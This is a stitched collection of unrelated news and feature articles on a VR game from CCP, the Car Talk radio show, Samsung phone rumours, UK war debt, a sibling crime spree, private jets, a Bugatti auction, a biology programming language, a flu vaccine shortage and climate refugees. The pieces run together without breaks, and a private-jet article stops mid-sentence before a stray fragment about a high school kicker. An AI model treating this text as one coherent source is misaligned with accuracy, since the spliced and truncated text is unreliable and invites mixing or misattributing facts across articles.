Fanfest attendees queue for the opportunity to play 'Valkyrie.'
CCP admits the game will act as a gateway drug to Eve Online, and that Eve Online players will also pick up Valkyrie. This time last year there were around 500,000 active subscribers. Who knows what that figure is now, but it's clear that the opportunity to drive paid subscriptions is far more valuable than having a few Eve Online players pick up Valkyrie.
The gamble
The problem with this big bet on VR is Valkyrie's fate isn't entirely in CCP's hands. While the potential market is demonstrably huge -- quite literally anyone with a PS4 or gaming PC could pick up a headset -- we really have no idea if mainstream gamers will actually be willing to put down an as-yet-unknown amount of money for a VR headset.
VR needs well-considered, purpose-built games like Valkyrie to succeed, and vice versa, but history has proved that great games are not always enough to sell systems. Shenmue and Skies of Arcadia didn't save the Sega Dreamcast, and Nintendo's big names haven't stopped the GameCube and Wii U from being eclipsed by their competition.
Valkyrie may be shaping up to be a great game, but if Sony can't convince its users to buy into Morpheus, no one will buy the games made for it. CCP can't just predict the market. If any game can push this to the masses, though, if any game is going to be VR's "system seller," then right now it looks to be Eve Valkyrie. And CCP needs that to happen way more than it's letting on.For years, “Car Talk” has served as the Saturday-morning cartoons of my adult life. If I am home, I turn on the radio at ten, and I don’t turn it off until I’ve wasted another hour listening to Click and Clack, the Tappet Brothers, and heard the complete list of fake staff members: Marge Inaverra, the bookkeeper; Pickup Andropov, the Russian chauffeur. If I am leaving on a trip, I time my departure so that I can listen in the car. Like Tom, the older of the Magliozzi brothers, who died this week at the age of seventy-seven, from complications of Alzheimer’s disease, I like to drive with the windows open.
Click and Clack stopped making new shows a few years ago, but the best segments of old shows are still on the air, and “Car Talk” still sounds fresh to me. Maybe, like Tom, I have a touch of Alzheimer’s. (Ray was the first to make a joke about how his brother really did not remember last week’s puzzler.) I follow “Car Talk” on Facebook, where they post pictures of eccentric cars sent in by fans. I wish I had sent them my shot, taken in Howard Beach, of the car in the shape of an avocado before someone else did. There’s also a funny-sign contest. I could have sent in “ASS COLLECTION,” the segment of crawl on the L.E.D. sign outside an optical shop in Rockaway that you see only if you’re stopped at the red light at exactly the right moment (“DESIGNER SUNGL … ASS COLLECTION”).
I called “Car Talk” for advice once about my ’85 Ford Escort, which I had dubbed the Death Trap. It had a lot of problems, number one being that it was so rusty that parts were always snapping off, but the car was always cheaper to fix than to replace. Sometimes, it would just be dead on arrival: that is, on my arrival at wherever I had parked it to try to start it up and go someplace. I suspected a bad connection—if I opened the hood and took off my shoe and whacked the engine, sometimes it started. Success depended on the style of shoe. When that didn’t work, I’d call AAA (not to be confused with A.A.), and they’d send a tow truck, and the driver would shake his head and say that a jump would not take me very far, and then he’d tow the car to some cavernous garage on the far West Side, near the car pound, and the mechanics would fleece me for the cost of a new battery and an alternator.
It wasn’t easy to get on “Car Talk,” I discovered. I was not put through to Click and Clack at Car Talk Plaza. Instead, I was instructed to leave my name and number and a brief description of my problem. The calls were prearranged—no doubt by their producer, Doug (Bongo Boy) Berman—but the guys heard the problems for the first time on the air. I soon realized that my problem was nowhere near entertaining enough for “Car Talk.” I was competing with the guy in Brooklyn who parked on the street in a car that drove only in reverse. And the woman in Colorado who was looking for a used stretch limousine so that she could roll up the window between the driver and the passengers and not have to listen to her grandchildren bickering. And the woman in Maine, or somewhere, who drove to the grocery store, parked and locked her car, did her shopping, and only when she came back out to load the groceries into the car saw that there was a rat in it. Eek!
But the idea of calling Click and Clack had the same effect as drafting a letter to Ann Landers: it was enough to make me figure things out for myself. Obviously, I should get rid of the Escort before it got rid of me. My next car was a 1990 Honda Civic—not the most boring car on the road, according to Tom and Ray (that distinction was reserved for the Toyota Corolla)—and my problem with it was not the car but the mechanics. Informed through the mail that I had an unpaid parking ticket, I requested a copy of the original summons, and, sure enough, the ticket was acquired while the car was in their hands. One of the mechanics must have been running an errand (a test drive?) and parked the car illegally somewhere I had no reason to go. What do you do when your mechanics stiff you with a parking ticket? Do you confront them? Or do you shut up and pay?
I paid the ticket and kept the mechanics, and my local stand-ins for Click and Clack (decidedly not educated at M.I.T.) never overcharged me, even though they knew I loved that car and would spend any amount of money on it. I think they loved the car, too. Once, when I picked it up, I found in the back seat a gift of men’s cologne from Lacoste, the company with the crocodile insignia (or is it an alligator?). It was shortly after Valentine’s Day, and I hypothesized that the second-generation mechanic had received it from a girlfriend while on a date in my car. Should I return it? Why? He obviously didn’t want it or he wouldn’t have left it there. Regift it to a friend with a February birthday, without telling him of its provenance? That seemed slightly cynical, but better than the more forthright “Happy Birthday! My mechanic left this in my back seat.”
I wonder what Tom would think of the new speed limit in New York City: twenty-five miles per hour unless posted otherwise. “Whaddya kidding?” he’d say. “You’d be lucky to get a car up to twenty-five miles per hour on the streets of New York City!” And then the laugh.
Tom will drive off into the November afternoon today as Ray does a show in his memory. The Best of “Car Talk” will play on, like the classic it is.Samsung’s Unpacked event is right around the corner and by now, we know exactly what to expect. We know that Samsung will unveil two devices, the Galaxy Note 5 and the Galaxy S6 edge+. The latter, will be a super-sized Galaxy S6 edge with higher-end specs. Thanks to a reliable source, we have exclusive information on the upcoming Galaxy S6 edge+.
Thanks to our source, we were able to get our hands on a few new features that will ship with the S6 edge’s big brother. On the original S6 edge, there was the introduction to the ‘People Edge’, a feature that allowed the user to store five of their favorite contacts on the edge of the device. That way, the contacts were always just once swipe away. Now, on the S6 edge+, Samsung has added the ability to add a second page to the edge, which can house the users five favorite applications.
In addition to the newly updated edge, the ‘People Edge’ has also received an update. Previously, there were only three shortcuts on a favorite contact: message, call, email. The newly added ‘OnCircle’ now houses six total shortcuts to a favorite contact. They include calling, video chatting, messaging, emailing, sending a picture, and even sending an emoticon.
The S6 edge+ will be debuted in New York City at the Samsung Unpacked event on August 13th. A release date is still unknown, but it is rumored towards August 21st.Donald Trump has been called a lot of things during his campaign for the presidency in 2016, but he hadn't been publicly compared to a male chimpanzee until earlier this week.
In an interview with The Atlantic, renowned primatologist Jane Goodall said Trump's "performances" remind her of "male chimpanzees and their dominance rituals."
Writer James Fallows compares these dominance rituals to how Trump speaks, writing that his brashness and willingness to use dismissive or diminishing nicknames for his rivals (such as "Little Marco" or "Lyin' Ted") are not unlike a male chimpanzee trying to show a bunch of other dude chimps he's the boss.
Here's more from Goodall in The Atlantic:
“In order to impress rivals, males seeking to rise in the dominance hierarchy perform spectacular displays: stamping, slapping the ground, dragging branches, throwing rocks. The more vigorous and imaginative the display, the faster the individual is likely to rise in the hierarchy, and the longer he is likely to maintain that position.”
You can judge for yourself whether Trump's debate antics were a primary factor in earning him the Republican nomination for president.
Whether that helped him along or not, he has certainly so far been able to maintain his position at the top of the GOP heap.The UK government will repay all of the nation's debt from the First World War, George Osborne is expected to announce.
The Chancellor is also expected to say that the government will adopt a strategy to remove the other remaining undated gilts in the portfolio, where it is deemed value for money to do so.
The Treasury will redeem the outstanding £1.9bn ($2.9bn, €2.4bn) of debt from 3½% War Loan on 9 March 2015.
The bond was issued in 1932 as part of a nationwide conversion campaign led by the then Chancellor Neville Chamberlain to reduce the costs of servicing the national debt.
The bond was issued in exchange for 5% War Loan 1929 to 1947, which had been issued in 1917 as part of the unprecedented effort by the government to raise money to pay for the First World War.
"This is a moment for Britain to be proud of. We can, at last, pay off the debts Britain incurred to fight the First World War," Osborne is expected to say.
"It is a sign of our fiscal credibility and it's a good deal for this generation of taxpayers.
"It's also another fitting way to remember that extraordinary sacrifice of the past."
The government said it will be able to refinance this debt with new bonds benefiting from today's "very low interest rate environment".
It follows Osborne's decision to redeem the much smaller 4% Consolidated Loan.
The announcement also represents the start of a strategy to remove all six of the other remaining undated gilts in the government's portfolio, when Osborne deems it value for money to do so.
The gilts include some debt originally issued in the era of the South Sea bubble in the 18th century, as well as to provide for the Bank of England nationalisation.The Dougherty gang -- the trio of siblings that triggered a nationwide search when they set out on what police describe as a cross-country crime spree -- were planning to high-tail it to Mexico using the money they stole in a bank robbery, authorities say.
Colorado District Judge Claude Appel ruled in a hearing Tuesday that prosecutors have enough evidence to place the three on trial for charges ranging from bank robbery to attempted murder for shooting at police officers. The three have been dubbed "Bonnie & Clyde & Clyde."
Ryan Edward Dougherty, 21, his brother Dylan Stanley-Dougherty, 26, and their sister Lee Grace Dougherty, 29, have not yet entered pleas. They are slated to be back in the Colorado courtroom Thursday for a scheduling conference.
New details emerged this week about the trio and their alleged activities and plans. A detective testified in court that the younger brother was the mastermind behind the scheme. If all went according to plan, according to an Associated Press report, the siblings were to begin with a bank robbery in Georgia and end with a cross-the-border run to Mexico.
Ryan Dougherty hatched the idea day he was sentenced to register as a sex offender for sexting an 11-year-old girl, said Colorado Springs police Det. Larry Dyer, according to the report.
“During the interview, he pretty much led me to believe that he was the mastermind of this plan,” Dyer is quoted as saying. The trio was captured in Colorado, where the hearing was held.
The siblings were armed and ready for trouble, according to other testimony. They reportedly had at least nine firearms, including two AK-47-type rifles and two shotguns. The siblings told law enforcement officers they never intended to hurt anyone.
The crime spree allegedly started in Florida, included a bank-robbing pit stop in Georgia, as well as stints in Alabama, Mississippi and Texas before it ended last month with the exchange of gunfire in Colorado and the siblings' subsequent arrest.
The three were in trouble with the law before they allegedly went on the lam. In addition to Ryan Dougherty's text messaging with a minor, Dylan Dougherty faced a possession-of-marijuana charge and Lee Grace Dougherty faced several felony and misdemeanor charges in connection with a May hit-and-run as well as a possible probation violation and alleged aggravated battery.
ALSO:
Space taxis move closer to reality
U.S. hikers released from Iranian jail
Clock ticks toward execution of Troy Davis in Georgia
--Rene Lynch
Twitter / renelynch
Photos: Ryan, Lee Grace and Dylan Dougherty. Credit: Associated PressPresident Obama recently called for the elimination of "tax breaks for private jet owners," painting anyone who doesn't cram themselves into 28 inches of economy legroom as a fat-cat wastrel. But owners of business aircraft swear to their utility. Private jets (which are powered by gas turbine engines, as opposed to pistons or props) utilize a network of more than 5,000 airports in the U.S, while commercial airlines only reach 550. The business aviation industry employs 1.2 million Americans and generates $150 billion in annual economic activity. Best of all: You don't have to take your shoes off at the airport.
✈ There were 672 new private jets sold in 2012, a sales dip of 3.4% from 2011. Overall, 11,261 private jets were registered for use in the United States, and 7,997 in the rest of the world.
Source: General Aviation Manufacturers Association
✈ The US makes up 49.7% of the world market for private jets; Europe 20.8%; Asia Pacific 11.8%; Latin and South America 11.6%; Africa and the Middle East: 6.1%.
Source: General Aviation Manufacturers Association
✈Average Jet Charter Rates (Per Hour)
Gulfstream 550 $8,640 Global Express/XRS $8,045 Falcon 7X $7,865 Falcon 900 $6,075 Gulfstream IV $5,884 Challenger 604 $5,053 Citation X $4,533 Hawker 800 $3,582 Citation Excel/XLS $3,388 Learjet 60 $3,347 Citation Mustang $1,674
Source: Avinode Marketplace
✈ Cost to charter a Gulfstream V for a weekend trip from New York City to San Francisco: $106,711.17
(Friday evening to Sunday evening, all costs including helicopter transportation to and from airport, two full-time captains, a flight attendant, crew per diems, landing, ramp, parking, fuel surcharge, taxes, etc)
Source: Talon Air, Inc
✈ The biggest event for private jet travel is the Super Bowl; this year, over six hundred private aircraft flew into New Orleans Lakefront Airport for Super Bowl XLVII (typical weekend traffic at the airport is just 125 landings). Other top events include the Masters Golf Tournament and Art Basel Miami Beach.
Source: NetJets Inc.
✈ The average cost to charter a Gulfstream 550 for a single hour is $8,640. That's enough money to buy 74 round-trip tickets for travel between New York and Washington, D.C on Jet Blue.
Source: Avinode Marketplace, JetBlue Airways
✈ Over 259,000 private takeoffs and landings occurred at Van Nuys airport in 2012, making it the busiest general aviation airport in the world. Traffic was down 13.9% from a year earlier.
Source: Los Angeles World Airports
✈ One of the very first business aircraft was Smiling Thru, a Travel Air Model 6000-B monoplane built by H. L. Ogg, president of the Automatic Washer Company of Newton, Iowa. The interior contained seating for five, a room with demo washing machines, and a typing table. Ogg called it his "private air office."
Source: National Air and Space Museum
✈ The most popular model of private jet in the U.S. is the Cessna Citation Excel, also known as the Citation XLS and XLS+. This medium-sized business jet took off on 144,302 flights in 2012, at an average charter rate of $3,388 per hour.
Source: Avinode Marketplace, FAA ASDI
✈ The world's most expensive private jet, an Airbus A380 owned by Prince Alwaleed bin Talal Al Saud, has an estimated cost over $500 million. Some of the special features of the jet include a two-car garage, a stable for horses and camels, and a prayer room that rotates so it always faces Mecca.
Source: DealBook/New York Times
✈ Bombardier's Global 8000, one of the longest range private jets on the market, can go 7,900 nautical miles on a single tank of gas, flying at Mach 0.85 with 8 |
and she's a tremendous athlete. She's a tremendous soccer player, and her kicking is not [just] a novelty by any stretch of the imagination. I have faith in her, and the kids respect her."
Recently, a Pennsylvania judge gave the go-ahead for the state's athletic association to ban boys from playing girls' sports, but Lewis is proving girls can hold their own.
Want more on the best stories in high school sports? Connect with Prep Rally on Facebook and follow us on Twitter.Share
Photography by Brian Henniker, courtesy and copyright of Gooding & Company.
It’s not often that a genuine supercharged Bugatti Type 35 changes hands, and it’s even rarer that you’ll find one with the provenance of an infamous character like the fascinating Hellé Nice. But attendees of Gooding & Company’s upcoming Pebble Beach Auctions on August 16-17 will have the opportunity to bid on a beautiful example with wonderful heritage.
Hellé Nice was a talented, bold and beautiful race car driver, a true pioneer of the sport in her day. She owned and raced this very car in the early 1930s, competing at prestigious international circuits like Le Mans, Reims and Monza. Mlle. Nice would develop an enviable association with the Bugatti marque, leading to her nickname, “The Bugatti Queen.” She was the third owner of chassis 4863 – built in December 1926, purchased by Mlle. Nice on March 29, 1930- having acquired it directly from the Molshiem factory. This car would continue its competitive career into the early postwar era with subsequent British owners Tom S. Grimshaw and E.V. Buck. Initially built in naturally aspirated form, the car gained a supercharger sometime in the 1930s, before Mr. Grimshaw bought it from London Bugatti dealer Jack Lemon Burton in 1938.
This accomplished race car was imported to the United States in the early 1980s, and in the early 2000s, it received a comprehensive mechanical restoration under the charge of Pebble Beach Concours-winning Bugatti-specialist restorer Scott Sargent, of Vermont’s Sargent Metalworks.
This upcoming event will not be the first time that Gooding & Company president David Gooding has encountered chassis 4863; he got to know the car back in 1997, when he worked at the Christie’s auction house and then-owner Ben Rose consigned it at the firm’s Lyndhurst Car Sale, where it brought $486,500 (the inflation-adjusted equivalent of $722,454 today).
“This car was the star of Chicago collector Ben Rose’s collection,” David recalls. “I had driven it. At that time, it was painted in its original blue -the color it was when Hellé Nice owned it- and done to a concours level. After Mr. Rose owned it, the subsequent owner repainted to the green-khaki color it wore in previous decades. It’s been driven quite a lot, is in fantastic condition and has a patina that looks wonderful.”
We asked David if there have been any comparable Bugatti sales that might indicate what this car could bring from the right bidder. He explained;
“There haven’t been any real supercharged Grand Prix Bugs for sale at auction in a long time; we’ve heard of some private sales in the $3.5 million range, and even more than that, but there are no public sales to use as comparables. There has not been a good Grand Prix Bugatti for sale in a very long time; we had a nice 35C at Pebble Beach that we sold in 2006 for $2.585 million.”
Gooding & Company has offered a pre-sale estimate of $2.8-$3.5 million, considering this car’s flawless mechanical condition, welcoming patina and incomparable heritage. While Mlle. Nice’s Bugatti may well bring a record sale figure, we wondered if he felt it would disappear into a collection, or remain in use.
“I think this car will continue to be driven,” David said; “Bugatti owners are very enthusiastic, and have been from when the cars were new. And they’re so wonderful to drive. It’s my hope that it will be used and driven. I’ve been in other Grand Prix cars, and this one is particularly sharp and lightning fast. It’s a very, very potent Grand Prix Bug; I would suspect that the new owner will drive and enjoy it.”
In addition to this historic racer, Gooding & Company’s Pebble Beach Auctions will offer a wide variety of cars that range from a V-8 Ford woody wagon to a McLaren F1. Their catalog for this event is available online to view at no cost, and a printed copy can be ordered. If you can’t be on-site at the Equestrian Center for the free public preview, or be there for the auctions at 5 p.m. on Saturday, August 16, and 6 p.m. on Sunday the 17th, you can watch the action live online via the Gooding & Company website.
UPDATE (18.August 2014): The Bugatti sold for $2.97 million.Editor’s note: This is part of our investigation into synthetic biology and bioengineering. For more, download the new BioCoder Fall 2014 issue here.
In a couple of recent posts, I’ve written about the need for a high-level programming language for biology. Now we have one. Antha is a high-level, open source language for specifying biological workflows (i.e., describing experiments). It’s available on Github
A programming language for scientific experiments is important for many reasons. Most simply, a scientist in training spends many, many hours of time learning how to do lab work. That sounds impressive, but it really means moving very small amounts of liquid from one place to another. Thousands of times a day, thousands of days in preparation for a career. It’s boring, dull, and necessary work, and something that can be automated. Biologists should spend most of their time thinking about biology, designing experiments, and analyzing results — not handling liquids.
More importantly, we’ve all read reports about experimental results that aren’t reproducible. That doesn’t necessarily mean that the results are invalid, but that they’re susceptible to small changes in the way the experiment is carried out: a particular person’s pipetting technique, the particular lab equipment they used, or parts of the experiment that nobody would bother to record in a scientific paper. Describing the process completely, performing the experiments on robotic lab equipment, and automating the data collection not only eliminates many variables, it makes it possible to collect more data than was previously possible: data about every aspect of the experiment. With more data, you might even be able to determine why some trials work and others don’t.
We’ve heard that the use of robotics in research has been limited because it’s difficult to program the current generation of robots; programming is very low-level (“move to the right 3.9 cm, move down.45 cm, push this button on the pipette…”). A high-level programming language does more than make the process simpler; it makes it easier to scale from small or moderate sized experiments to much greater size. 384 samples? Why not 4096? Once you have the programming taken care of, and automated both the experimental process and the data collection, you’ve eliminated many sources of error and can do much bigger experiments. That’s precisely the problem that programming in a high-level language solves. You describe the experiment, and iteration comes for free, at whatever scale you want. Lab robots never get bored or tired.
Antha isn’t yet ready for use: The compiler is available, along with some development tools. Drivers for common lab equipment aren’t available yet, though several manufacturers are already working on them. But it’s time for biologists to start thinking about it and how to integrate it into their labs. What tools do you want? What devices do you need to automate? What would an environment for designing experiments look like?
It’s fascinating to watch the future unfold.An early, severe flu season and higher-than-anticipated demand have resulted in some shortages of vaccine, setting off a last-minute scramble in the Washington area and nationwide, according to health officials, doctors and retailers.
Manufacturers have already shipped more than 128 million doses of flu vaccine, nearly 95 percent of the 135 million doses made for this season, federal officials said. Sanofi Pasteur, the largest flu vaccine provider in the United States, said Thursday that it had sold out of four of its six vaccine versions. It made more than 60 million doses for this season, slightly fewer than last year.
Now, in response to “unanticipated late-season demand,” Sanofi said it will make available a limited supply of additional vaccine originally intended for shipment outside the country. Those orders would start shipping in late January, spokesman Michael Szumera said.
Another supplier, MedImmune, has sold all 12 million doses that it planned to distribute but has more than 620,000 extra doses, a spokeswoman said.
Manufacturers are not able to make any more vaccine for this season — the process is too long and complicated, and they are already preparing for next year. “You have to have the right kind of egg from the right kind of chicken, then grow the virus and purify it,” said Carolyn Bridges, associate director for adult immunization at the immunization services division of the Centers for Disease Control and Prevention.
View Graphic This flu season is having its earliest start in nearly a decade.
In a frantic search for vaccine, many consumers in the D.C. region Thursday swapped tips, scoured Web sites and badgered pharmacists and doctors. A pediatric practice in North Bethesda directed patients to Shady Grove Adventist Hospital in Rockville and an urgent-care facility in Bethesda.
Public health officials urged residents to use flushot.
healthmap.org, an online flu vaccine locater, to find a provider.
Vaccine hunters
Among the vaccine hunters was Emily Dillon, 22, a resident of Northwest Washington who works for a nonprofit organization downtown and has been trying to get a flu shot since Sunday.
First she tried two CVS stores, one in Bethesda and one in Rockville, but they had no vaccine. Then her mother started looking on her behalf and found out the Safeway in Columbia Heights was receiving a shipment Thursday. But the store wasn’t taking appointments, Dillon said, and she wasn’t able to go after work.
“I have yet to get one,” she said. “But I’m going to keep plugging away.”
Some, like Dillon, were enlisting family members and friends in the vaccine quest because of long telephone wait times and inaccurate information posted in stores and online. Others were finding it hard to get work done because so many people are out sick.
Even though this season’s vaccine is well-matched to the predominant strain of virus circulating, at least 29 states were experiencing high levels of influenza-like illness as of Dec. 29, according to the latest data compiled by the CDC. Officials in Boston declared a public health emergency. Eighteen Massachusetts residents have died of flu-related complications this season, a state official said, and some hospitals in the state are changing their visiting policies to limit potential exposure to flu-causing viruses.
Virginia and Maryland are both reporting unusually high and widespread levels of flu-related illness. As of Thursday, hospitals in the District had reported 310 confirmed cases to the D.C. Health Department, more than triple the number of flu cases reported for the entire season last year.
In the past, vaccine shortages cropped up because of problems with production or with the vaccine itself. But there were no such problems this season, officials said.
“What we do see is more demand than was anticipated” based on orders for vaccine that were placed in spring 2012, said Bridges, of the CDC.
In the Washington area, several CVS and Giant stores say they are running out of vaccine and scrambling to restock. A CVS spokesman said high demand caused by the early influenza outbreak has left some locations with “intermittent, temporary shortages of flu vaccine.” The company has more vaccine in stock, however, and anticipates providing more than 3 million shots this season, he said.
A spokesman for Giant said the grocery chain has “adequate inventory” in its Baltimore distribution facility. Store pharmacies could be experiencing shortages for a day or two while awaiting deliveries.
In Montgomery County, all five hospital emergency rooms reached capacity at one point Monday evening — in part because of the number of patients complaining of flulike illnesses. As a result, some ambulances may not have been able to take patients to the nearest hospital during the crush, officials said.
In early December, the CDC said it was noticing an uptick in flu activity about a month before authorities typically see it. The primary strain this season is H3N2, an influenza A virus that has been associated with more severe flu seasons.
Crowded emergency rooms
The CDC, which tracks pediatric deaths from the flu, said 18 children died nationwide between Sept. 30 and Dec. 29. In Pennsylvania, a total of 22 people have died from the flu, the Allentown Morning Call reported. Emergency rooms have gotten increasingly jammed, the newspaper said, prompting a local hospital to set up a tentlike mobile emergency room outside its main facility to handle flu patients.
The flu season runs from late September through late May, and influenza typically peaks in January, February or later.
“While it’s not too late to get vaccinated, it is late as far as our vaccination season goes, and people may have to look around to find vaccine,” said Thomas Skinner, a CDC spokesman. About 112 million Americans had been vaccinated by the end of November, the CDC said. Vaccinations are recommended for everyone 6 months or older.
Flu vaccines are designed to protect against three influenza viruses that experts predict will be the most common during the upcoming season. The three viruses that commonly circulate among people today are influenza B, influenza A (H1N1) and influenza A (H3N2). Each year, one flu virus of each kind is used to produce seasonal influenza vaccine.
The maker of Tamiflu is also reporting shortages of its liquid formulation, which is used mainly to treat symptoms in children. Roche Holding AG said it informed wholesalers and distributors in recent weeks that they would face temporary delays in shipments, Reuters reported. Pharmacists can create a substitute by dissolving Tamiflu capsules into a sweet liquid.
The Food and Drug Administration on Dec. 21 expanded the approved use of Tamiflu to treat children as young as 2 weeks old who have shown symptoms of the flu. The drug was previously approved to treat adults and children at least 1 year old. The dose for children younger than 1 must be based on their exact weight.
Flu is extremely unpredictable. Last winter’s flu season, for example, began late and was unusually mild. It set a record for the lowest and shortest peak of influenza-like illness.
The last time a regular flu season started this early was the winter of 2003-04, which proved to be one of the deadliest seasons in the past 35 years, with more than 48,000 fatalities. The dominant type of flu then was the same one seen this year.
But experts said there is a critical difference: In 2003-04, the vaccine was poorly matched to the predominant flu strain. Also, health officials said more vaccine was available this year, and vaccination rates have risen for the general public and for key groups such as children, pregnant women and health-care workers.
Flu symptoms can include fever, cough, runny nose, head and body aches, and fatigue. Some people also suffer vomiting and diarrhea, and some develop pneumonia or other severe complications.
A novel strain of H1N1 influenza caused an unusual wave of cases in spring 2009 and again in the early fall, eventually causing a worldwide epidemic. Called “swine flu” by the media, it was the product of a reshuffling of genes from pig, bird and human flu viruses. The combination was sufficiently different that a new vaccine had to be made specifically to protect against it. That so-called pandemic H1N1 strain has been part of the flu vaccine for the past three years.
Debbi Wilgoren and David Brown contributed to this report.When I first talked to the three Honduran men in the train yard in the southern Mexican town of Tenosique, I had no idea that they were climate-change refugees. We were 20 miles from the border with Guatemala at a rail yard where Central American refugees often congregated to try to board La Bestia (“the Beast”), the nickname given to the infamous train that has proven so deadly for those traveling north toward the United States.
The men hid momentarily as a Mexican army truck with masked, heavily armed soldiers drove by. Given Washington’s pressure on Mexico to fortify its southern border, U.S. Border Patrol agents might have trained those very soldiers. As soon as they were gone, the Hondurans told me that they had been stuck here for six long days. The night before, they had tried to jump on La Bestia, but it was moving too fast.
When I asked why they were heading for the United States, one responded simply, “No hubo lluvia.” (“There was no rain.”) In their community, without rain, there had been neither crops, nor a harvest, nor food for their families, an increasingly common phenomenon in Central America. In 2015, for instance, 400,000 people living in what has become Honduras’s “dry corridor” planted their seeds and waited for rain that never came. As in a number of other places on this planet in this century, what came instead was an extreme drought that stole their livelihoods.
For Central America, this was not an anomaly. Not only had the region been experiencing increasing mid-summer droughts, but also, as the best climate forecasting models predict, a “much greater occurrence of very dry seasons” lies in its future. Central America is, in fact, “ground zero” for climate change in the Americas, as University of Arizona hydrology and atmospheric sciences professor Chris Castro told me. And on that isthmus, the scrambling of the seasons, an increasingly deadly combination of drenching hurricanes and parching droughts, will hit people already living in the most precarious economic and political situations. Across Honduras, for example, more than76% of the population lives in conditions of acute poverty. The coming climate breakdowns will only worsen that or will, as Castro put it, be part of a global situation in which “the wet gets wetter, the dry gets drier, the rich get richer, the poor get poorer. Everything gets more extreme.”
Talking with those farmers in the Tenosique train yard felt, in a way, like a scene from a sequel to the movie The Road in which a father and son walk across a post-apocalyptic North America devastated by an unknown cataclysm. In reality, though, I was just in a typical border zone of the Anthropocene, the proposed new geologic era characterized by human activity as the dominant force on the climate and environment. And these young, unarmed farmers with failing harvests are now facing the only welcome this planet presently has to offer for such victims of climate change: expanding border regimes of surveillance, razor-wire walls, guns, and incarceration centers.
As they keep heading north, they will have to be on guard against ever more army and police patrols, while enduring hunger and thirst as well as painful separations from their families. They will have to evade endless roadside checkpoints, which Fray Tomás Tómas González Castillo, director of a nearby shelter for migrants in Tenosique, told me were almost “impossible” to avoid, at a time when, he noted, “organized crime” controlled the trains.
Such a predicament is hardly unique to the Mexico-Guatemalan border region or even the U.S.-Mexican version of the same. Think of the maritime divide between North Africa and the European Union or the Jordanian border where patrols now reportedly shoot at “anything that moves” coming from Syria ― or so a Jordanian official who prefers to remain anonymous told me. And Syria was just one of the places where the ever-increasing impacts of climate change, migration, and tightly enforced border zones intersected.
Now, homeland security regimes are increasingly unleashing their wrath on the world’s growing numbers of displaced people, sharpening the divide between the secure and the dispossessed. Whether in Mexico or on the Mediterranean Sea, as ever more human beings find themselves uprooted from their homes and desperate, such dynamics will only intensify in the decades to come. In the process, the geopolitics and potentially the very geography of the globe will be reshaped. It’s not just Donald Trump. Everywhere on Planet Earth, we seem to be entering the era of the wall.
The Displaced
According to the Internal Displacement Monitoring Centre, the “impact and threat of climate-related hazards” displaced an average of 21.5 million people annually between 2008 and 2015. The growing impact of the Anthropocene ― of intensifying droughts, rising seas, and mega-storms ― is already adding to a host of other factors, including poverty, war, and persecution, that in these years have unsettled record numbers of people. While many of the climate-displaced stay close to home, hoping to salvage both their lives and livelihoods, ever more are crossing international borders in what many are now calling a “refugee crisis.”
“Catastrophic convergence” is the term sociologist Christian Parenti uses to describe this twenty-first-century turmoil, since many of these factors combine to displace staggering numbers of people. As Camila Minerva of Oxfam puts it, “The poorest and the most marginalized are five times more likely to be displaced and to remain so for a longer time than people in higher income countries and it is increasing with climate change.”
Though the numbers are often debated, the United Nations High Commission for Refugees suggests that climate breakdowns will displace 250 million people by 2050. The Internal Displacement Monitoring Centre suggests that those numbers could actually range from 150 million to a staggering 350 million by that year. In reporting on how climate change is already affecting Mexico City, Michael Kimmelman, the architecture critic of the New York Times, cited a report suggesting that the number may be far higher than that, possibly reaching 700 million ― and that, by 2050, 10% percent of all Mexicans between 15 and 65 might be heading north, thanks to rising temperatures, droughts, and floods.
“Although the exact number of people that will be on the move by mid-century is uncertain,” wrote the authors of the reportInSearch of Shelter: Mapping the Effects of Climate Change on Human Migration and Displacement, “the scope and scale could vastly exceed anything that has occurred before.” And here’s the sad reality of our moment: for such developments, the world is remarkably unprepared. There isn’t even a legal framework for dealing with climate refugees, either in international law or the laws of specific countries. The only possible exception: New Zealand’s “special refugee visas” for small numbers of Pacific Islanders displaced by rising seas.
The only real preparations for such a world are grim ones: walls and the surveillance technology that goes with them. Most climate-displaced people travelling internationally without authorization will sooner or later run up against those walls and the armed border guards meant to turn them back. And if the United States or the European Union is their destination, any possible doors such migrants might enter will be slammed shut by countries that, historically, are the world’s largest greenhouse gas polluters and so most implicated in climate change. (Between 1850 and 2011, the United States was responsible for 27% of the world’s emissions and the countries of the European Union, 25%.)
A Booming Market in Walls
I have no idea what happened to those three farmers after our brief meeting in Tenosique. I did, however, think of them again a couple of months later when I was 1,000 miles to the north. Under a mesquite tree in northern Mexico, there was a lonely plastic bottle with a few droplets of water still in it. Somebody had left it as they crossed into the United States.
I was just east of Agua Prieta in the Mexican state of Sonora, a mere 25 feet from the U.S.-Mexican border. I could clearly see the barrier there and a U.S. Border Patrol agent in a green-striped truck looking back at me from the other side of the divide. Perhaps a quarter mile from where I stood, I could also spot an Integrated Fixed Tower, one of 52 new high-tech surveillance platforms built in the last two years in southern Arizona by the Israeli company Elbit Systems. Since that tower’s cameras are capable of spotting objects and people seven miles away, I had little doubt that agents in a nearby command and control center were watching me as well. There, they would also have had access to the video feeds from Predator B drones, once used on the battlefields of the Greater Middle East, but now flying surveillance missions in the skies above the border. There, too, the beeping alarms of thousands of motion sensors implanted throughout the U.S. border zone would ring if you dared cross the international divide.
Only 15 years ago, very little of this existed. Now, the whole region ― and most of this preceded Donald Trump’s election victory ― has become a de facto war zone. Climate refugees, having made their way through the checkpoints and perils of Mexico, will now enter a land where people without papers are tracked in complex, high-tech electronic ways, hunted, arrested, incarcerated, and expelled, sometimes with unfathomable cruelty. To a border agent, the circumstances behind the flight of those three Honduran farmers would not matter. Only one thing would ― not how or why you had come, but if you were in the United States without the proper documentation.
Climate change, increased global migration, and expanding border enforcement are three linked phenomena guaranteed to come to an explosive head in this century. In the United States, the annual budgets for border and immigration policing regimes have already skyrocketed from about $1.5 billion in the early 1990s to $20 billion in 2017, a number that represents the combined budgets of Customs and Border Protection (CBP) and Immigration and Customs Enforcement. During that period, the number of Border Patrol agents quintupled, 700 miles of walls and barriers were constructed (long before Donald Trump began talking about his “big, fat, beautiful wall”), and billions of dollars of technology were deployed in the border region.
Such massive border fortification isn’t just a U.S. phenomenon. In 1988, when the Berlin Wall fell, there were 15 border walls in the world. Now, according to border scholar Elisabeth Vallet, there are 70. These walls generally have risen between the richer countries and the poorer ones, between those that have the heavier carbon footprints and those plunged into Parenti’s “catastrophic convergence” of political, economic, and ecological crises. This is true whether you’re talking about the Americas, Africa, the Middle East, or Asia.
